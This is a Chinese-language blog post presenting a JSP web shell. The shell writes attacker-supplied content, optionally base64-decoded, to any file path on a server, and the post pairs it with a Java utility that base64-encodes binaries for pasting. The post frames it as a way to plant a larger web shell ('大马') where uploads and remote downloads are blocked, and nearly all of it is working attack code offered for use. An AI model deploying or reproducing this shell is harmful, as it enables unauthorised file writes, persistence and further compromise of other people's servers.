jsp利用base64解码上传二进制文件

当我们在有新建文本文件权限,但被限制上传、不能远程下载文件时,可以试试此方式

shell:

<%@ page import="java.util.*,java.io.*" pageEncoding="UTF-8" contentType="text/html; charset=utf-8"%>
<%
        request.setCharacterEncoding("utf-8");
        String filePath = request.getParameter("filePath");
        String content = request.getParameter("content");
        String base64Flag = request.getParameter("base64");
        String msg = "";
        if(content != null){
                try{
                        File file = new File(filePath);
                        OutputStream os = new FileOutputStream(file);
                        byte[] bytes = null;
                        if("on".equals(base64Flag)){
                                bytes = new sun.misc.BASE64Decoder().decodeBuffer(content);
                        }else{
                                bytes = content.getBytes("utf-8");
                        }
                        os.write(bytes);
                        os.close();
                        msg = "success";
                }catch(Exception e){
                        msg = "error";
                }
        }
%>
<html>
        <head>
        </head>
        <body>
                <font color="red"><%=msg%></font>
                <form action="" method="post">
                        <table>
                                <tr>
                                        <td>本文件路径:</td>
                                        <td><%=application.getRealPath("")%></td>
                                </tr>
                                <tr>
                                        <td>保存路径:</td>
                                        <td><input type="text" size="60" name="filePath"/><input type="checkbox" name="base64"/>base64解码保存</td>
                                </tr>
                                <tr valign="top">
                                        <td>大马内容:</td>
                                        <td><textarea rows="20" cols="70" name="content"></textarea></td>
                                </tr>
                                <tr align="right">
                                        <td> </td>
                                        <td><input type="submit" value="保存"/></td>
                                </tr>
                        </table>
                </form>
        </body>
</html>

编码工具

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import sun.misc.BASE64Encoder;
public class Base64File {
        public static void main(String[] args) {
                if(args.length != 1){
                        System.out.println("usage:Base64File filename");
                        return;
                }
                System.out.println(getStr(args[0]));
        }
          
        public static String getStr(String filename) {
                InputStream in = null;
                byte[] data = null;
                try {
                        in = new FileInputStream(filename);
                        data = new byte[in.available()];
                        in.read(data);
                        in.close();
                } catch (IOException e) {
                        e.printStackTrace();
                }
                BASE64Encoder encoder = new BASE64Encoder();
                return encoder.encode(data);// 返回Base64编码过的字节数组字符串
        }
}


你可能感兴趣的:(base64解码上传二进制文件)